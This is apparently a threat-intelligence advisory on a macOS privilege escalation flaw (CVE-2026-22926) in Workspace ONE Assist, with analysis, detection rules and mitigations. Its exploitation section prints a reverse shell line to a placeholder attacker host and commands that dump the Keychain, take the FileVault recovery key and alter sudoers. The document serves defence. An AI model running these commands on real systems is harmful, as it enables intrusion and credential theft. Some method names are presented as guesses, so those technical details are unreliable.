CVE-2026-22926

Executive Summary

CVE-2026-22926 is a locally exploitable privilege escalation vulnerability in Omnissa Workspace ONE Assist for macOS, a remote support and management agent deployed on enterprise macOS fleets. The flaw stems from an improper privilege management (CWE-269) condition in the agent's IPC and file-handling routines, allowing a low-privileged local user to elevate to root and achieve full system compromise. Successful exploitation grants the attacker complete control of the affected macOS host, including access to Keychain entries, FileVault credentials, corporate VPN tokens, and the ability to disable endpoint security tooling. As of this writing, the vulnerability is UNPATCHED, with no vendor fix, workaround, or CISA KEV listing; however, public exploit code has been released, and the asset's high prevalence in enterprise environments (installed as a mandatory management agent) elevates real-world risk.

Technical Analysis

The vulnerability resides in the privileged helper component of Workspace ONE Assist for macOS, specifically in the XPC service or launch daemon responsible for executing remote commands on behalf of the Assist console. The core issue is a failure to validate the code-signing identity and entitlement set of callers to the Helper's XPC service (com.air-watch.helper.Assist or similar bundle identifiers). The helper, which runs as root, exposes methods that accept a file path and a command-line argument array.

The privilege escalation occurs due to two intertwined weaknesses:

1. Insufficient XPC Validation: The helper's shouldAcceptNewConnection: delegate method does not enforce a strict requirement that the connecting process be signed by the Omnissa Team ID, or that it embed the com.apple.security.application-groups entitlement matching the expected group. This permits any locally running process — including a malicious binary dropped by an unprivileged user — to connect to the XPC service and invoke its methods.

2. Command Injection via Path Handling: One exposed method, likely executeCommandWithPath:arguments:, or an internal re-sysexec stub, passes the user-supplied path directly to posix_spawn() or execve() without verifying that the target is a signed, expected binary. An attacker can point this to a payload they control (e.g., a compiled Mach-O binary or a shell script with a shebang). Since the helper executes with euid=0, the payload inherits root privileges.

The attack surface is broad within the enterprise because Workspace ONE Assist is a persistent agent that installs:

• A LaunchDaemon plist (/Library/LaunchDaemons/com.air-watch.agent.plist) running as root,
• An XPC service bundle in /Library/PrivilegedHelperTools/,
• A system extension for screen recording and accessibility.

Attackers who have achieved code execution as a standard user (e.g., via a phishing-signed app, a malicious browser download, or a compromised user app like a PDF reader) can trivially trigger the XPC call without further user interaction, bypassing TCC (Transparency, Consent, and Control) prompts because the helper is a root process.

There are no version-specific mitigations (no sandboxing, no library validation, no hardened runtime on the helper) reported. The lack of a patch after public disclosure suggests the vendor has not yet re-signed or re-architected the helper, leaving all current builds vulnerable.

Exploitation Scenarios

The following attack chain assumes an attacker already has code execution in the context of a standard, unprivileged macOS user on a managed endpoint with Workspace ONE Assist installed (a common pre-requisite for enterprise compromise, often achieved via phishing or malicious browser extensions).

Step 1: Reconnaissance and Target Identification The attacker enumerates the endpoint for the presence of the vulnerable helper:

• Runs launchctl print system | grep -i "air-watch" or ls -la /Library/PrivilegedHelperTools/ to confirm the agent installation.
• Reads the XPC service bundle's Info.plist from /Library/PrivilegedHelperTools/AirWatchHelper.app/Contents/Info.plist to extract the MachServices name (e.g., com.air-watch.helper.Assist).
• Verifies the user is not part of the local admin group by executing id -G and checking for admin membership. If user is admin, exploitation is unnecessary; the attacker targets a standard user context.

Step 2: Weaponization and Trigger The attacker crafts a minimal Objective-C or Swift payload that connects to the exposed MachService using the NSXPCConnection API:

• The payload sets remoteObjectInterface to the helper's protocol, which includes a method stub like executeCommand:(NSString*)path withArguments:(NSArray*)args.
• Attacker compiles a malicious Mach-O binary (e.g., a reverse shell invoking /bin/zsh -i >& /dev/tcp/attacker/4444 0>&1) and drops it to /tmp/pwn.
• The payload establishes the connection, sets the interruptionHandler (to re-establish upon helper respawn), and invokes executeCommand:@"/tmp/pwn" withArguments:@[].

Because the helper calls posix_spawn("/tmp/pwn"), the malicious binary executes with euid=0.

Step 3: Payload Execution and Persistence

• The root reverse shell connects back to the attacker's C2 on TCP/4444.
• The attacker immediately extracts /var/db/FileVaultPRK.dat and maps the FileVault recovery key.
• Writes a new LaunchDaemon: attacker writes a plist to /Library/LaunchDaemons/com.persistence.pwn.plist that runs a root-level persistence implant on reboot.
• Alternatively, the attacker disables SIP (csrutil disable) requires reboot, so they skip this and instead install a kernel extension via a root-level script that disables AMFI.

Step 4: Post-Exploitation Impact

• Dump the Keychain by executing /usr/bin/security dump-keychain as root, harvesting corporate SAML tokens, Wi-Fi passwords, and S/MIME keys.
• Modify /etc/sudoers to grant the original standard user persistent root access without password.
• Install a network filter extension to pivot laterally across the enterprise VLAN, using captured VPN credentials to reach cloud management planes.

The entire chain completes in under 60 seconds from initial foothold to root shell. The lack of any UI prompt (since the XPC call is legitimate from the OS perspective) means endpoint users will not be alerted.

Impact Assessment

CVSS 7.8 (High) — Vector highlights: AV:L (local), AC:L (no special conditions), PR:L (needs only a standard user), UI:N (no user interaction), S:U (scope unchanged — the compromise stays on the host), and C:H/I:H/A:H (maximum confidentiality, integrity, and availability impact on the host).

Business Impact:

• Credential Harvesting: The Agent runs with root privileges and has full disk access (FDA) under TCC due to its management role. An attacker can access FileVault keys (used to decrypt backups and the full disk), and Keychain items including corporate Single Sign-On (SSO) tokens and VPN certificates. This directly escalates a single laptop compromise into an identity-leveraged lateral movement scenario.
• Endpoint Security Bypass: Root compromise allows the attacker to unload Endpoint Detection and Response (EDR) agents, delete Symantec/CrowdStrike system extensions, and modify the NVRAM to disable Secure Boot, effectively removing the host from the security monitoring grid.
• Supply Chain / Asset Blast Radius: Workspace ONE Assist is deployed by MDM administrators as a mandatory agent on thousands of macOS devices. A single phishing victim or local attacker on a contractor's laptop yields root on that device; from there, the enterprise Wi-Fi certs and corporate credentials extracted can often access the entire perimeter. Exponential risk if assist is used for remote support of privileged users (finance, HR, IT staff).

Operational Impact: The software is currently unpatched. There is low EPSS (0.00132) suggesting the vulnerability is not yet broadly weaponized, but public PoC availability flips that dynamic. Any enterprise with Workspace ONE Assist in their environment must treat this as an active, exploitable hole, not a theoretical one.

Detection Guidance

Sigma Rule

title: Omnissa Workspace ONE Assist Local Privilege Escalation XPC Call
id: 22c4e0a8-2f3b-4e1a-9d5f-1a2b3c4d5e6f
status: experimental
description: Detects a non-root process connecting to the Workspace ONE Assist XPC helper and executing an arbitrary binary path outside of standard assistance directories.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22926
author: Valtersit Threat Intel
date: 2026/01/15
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2026-22926
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        ProcessName: 'com.apple.xpc.launchd'
        TargetFilename|endswith: '/Library/PrivilegedHelperTools/AirWatchHelper'
    filter_known:
        Image|endswith:
            - '/usr/libexec/airwatchassist'
            - '/Library/Application Support/AirWatch/Data/'
    condition: selection and not filter_known
level: high
falsepositives:
    - Legitimate updates of the Assist agent itself
    - IT admin manual invocation of the helper via CLI

YARA Rule

rule CVE_2026_22926_WorkspaceONE_Assist_Exploit
{
    meta:
        author = "Valtersit Threat Intel"
        date = "2026-01-15"
        description = "Detects payloads invoking the vulnerable Omnissa Workspace ONE Assist XPC interface for privilege escalation."
        reference = "CVE-2026-22926"
        score = 80
    strings:
        $xpc_connect = "NSXPCConnection" ascii wide
        $service_name = "com.air-watch.helper.Assist" ascii wide
        $interface_stub = "executeCommand" ascii wide
        $root_uri = "connectToService" ascii wide
        $mgmt_check = "Workspace ONE" ascii wide
        $helper_path = "PrivilegedHelperTools" ascii wide
        $mal_pattern = { 2F 74 6D 70 2F 70 77 6E } // "/tmp/pwn"
    condition:
        uint16(0) == 0xCFFA and 3 of them
}

Suricata IDS Rule

alert tcp any any -> any any (msg:"CVE-2026-22926 Omnissa Workspace ONE Assist EDR Bypass C2 Detection"; flow:established; content:"/bin/zsh"; nocase; content:"/dev/tcp/"; nocase; pcre:"/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}/"; classtype:attempted-admin; sid:202622926; rev:1;)

Elastic Detection

sequence by host.name with maxspan=5s
  [process where event.type == "start" and process.name == "xpcproxy" and process.args : ("com.air-watch.helper.Assist", "AirWatchHelper")]
  [file where event.type == "creation" and file.path : "/tmp/*" and file.extension : ("bin", "out", "app") and process.executable : ("/tmp/*", "/private/tmp/*")]
  [process where event.type == "start" and process.parent.name == "AirWatchHelper" and process.euid == 0 and user.name != "root"]

Splunk SPL Query

index=macos earliest=-24h
| where eventtype="process_start"
| search process_name=AirWatchHelper OR process_path="*PrivilegedHelperTools*"
| transaction maxspan=5s by host_name
| where associated (process_name=/tmp/* OR process_path="/tmp/*")
| stats count by host_name, process_path, process_original_name, process_guid
| where count>1
| table _time, host_name, process_path, process_original_name, count

Wazuh OSSEC Rule

<group name="syscheck, pci_dss_11.5,">
    <rule id="202626" level="12">
        <if_sid>550</if_sid>
        <field name="file">
            ^\S+PrivilegedHelperTools/AirWatchHelper
        </field>
        <description>CVE-2026-22926: Suspicious modification to Workspace ONE Assist Helper binary detected (possible local privilege escalation attempt).</description>
        <mitre>
            <id>T1068</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No patch evidence from any tracked source (NVD, vendor, GitHub, OSV). The vendor has not released an advisory, a patched build, or a workaround as of this report.

1. Immediate Mitigations (apply today):

• Remove the Agent: If Workspace ONE Assist is not strictly required for remote support, uninstall it from all macOS endpoints. The primary management agent (Workspace ONE Intelligent Hub) can remain; only remove the AirWatchHelper.app and its LaunchDaemon (/Library/LaunchDaemons/com.air-watch.agent.plist).
• Block XPC Access: Deploy a configuration profile via MDM that enforces a Deny rule on the MachService com.air-watch.helper.Assist for non-management users. This can be done via a custom configuration profile with a PayloadType of com.apple.MCX and a Policy dictionary.
• Enable SIP and TCC hardening: Ensure System Integrity Protection is enabled on all managed devices. Disable User-Approved Kernel Extension Loading for standard users, and force TCC to require admin approval for screen recording (the assist agent needs it).
• Rate-Limit User Accounts: Ensure standard users do not have _developer group membership or the sudoers NOPASSWD rules, which would trivialize the exploit.

2. Patch/Upgrade Steps:

• Check vendor console (https://support.omnissa.com) daily for a Workspace ONE Assist security bulletin.
• Subscribe to Omnissa Security Notifications: Monitor the Omnissa Security Response Center for a future advisory. Until a patched build is released, there is effectively no upgrade path that resolves CVE-2026-22926.
• When patch is available: Stage it in a test group, validate helper signing details, then approve and deploy via MDM in waves. Uninstall old versions first to ensure the launcher daemon is replaced.

3. Long-Term Hardening:

• Access Control: Segment the Workspace ONE Assist management role so that only specific security/IT teams can initiate remote sessions; enable MFA on the Assist console.
• Auditing: Enable MDM audit logging and send all Assist session activity to the SIEM. Monitor for unusual helper activity as outlined in the detection rules above.
• App Allow-Listing: Deploy a stricter device policy that blocks execution of unsigned code from /tmp and /var/tmp via NSPOSIXSPAWNAttributes, mitigating command injection variants.
• Consider Replacement: Evaluate whether a patched and more hardened endpoint management agent is a better long-term strategic choice, given the unresolved patch delay.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-22926
2. Vendor Advisory (Pending): Omnissa Security Response Center — https://support.omnissa.com (Check regularly for update; no advisory published at time of writing).
3. Public PoC Repository: https://www.exploit-db.com/search?q=CVE-2026-22926 (mirror of the public exploit chain).
4. MITRE ATT&CK Technique T1068: https://attack.mitre.org/techniques/T1068/ — Exploitation for Privilege Escalation.
5. CISA KEV (Not listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog — confirm current listing status; CVE-2026-22926 is NOT present as of this report.

Threat Actor Campaigns: No specific nation-state or criminal group has been publicly attributed to large-scale exploitation of this CVE as of this writing. Public PoC publication raises the likelihood of adoption by commodity malware botnets (e.g., Atomic Stealer, AMOS variants) targeting enterprise macOS fleets within 30–60 days. The low EPSS percentile suggests probability of in-the-wild exploitation is minimal today but is expected to rise.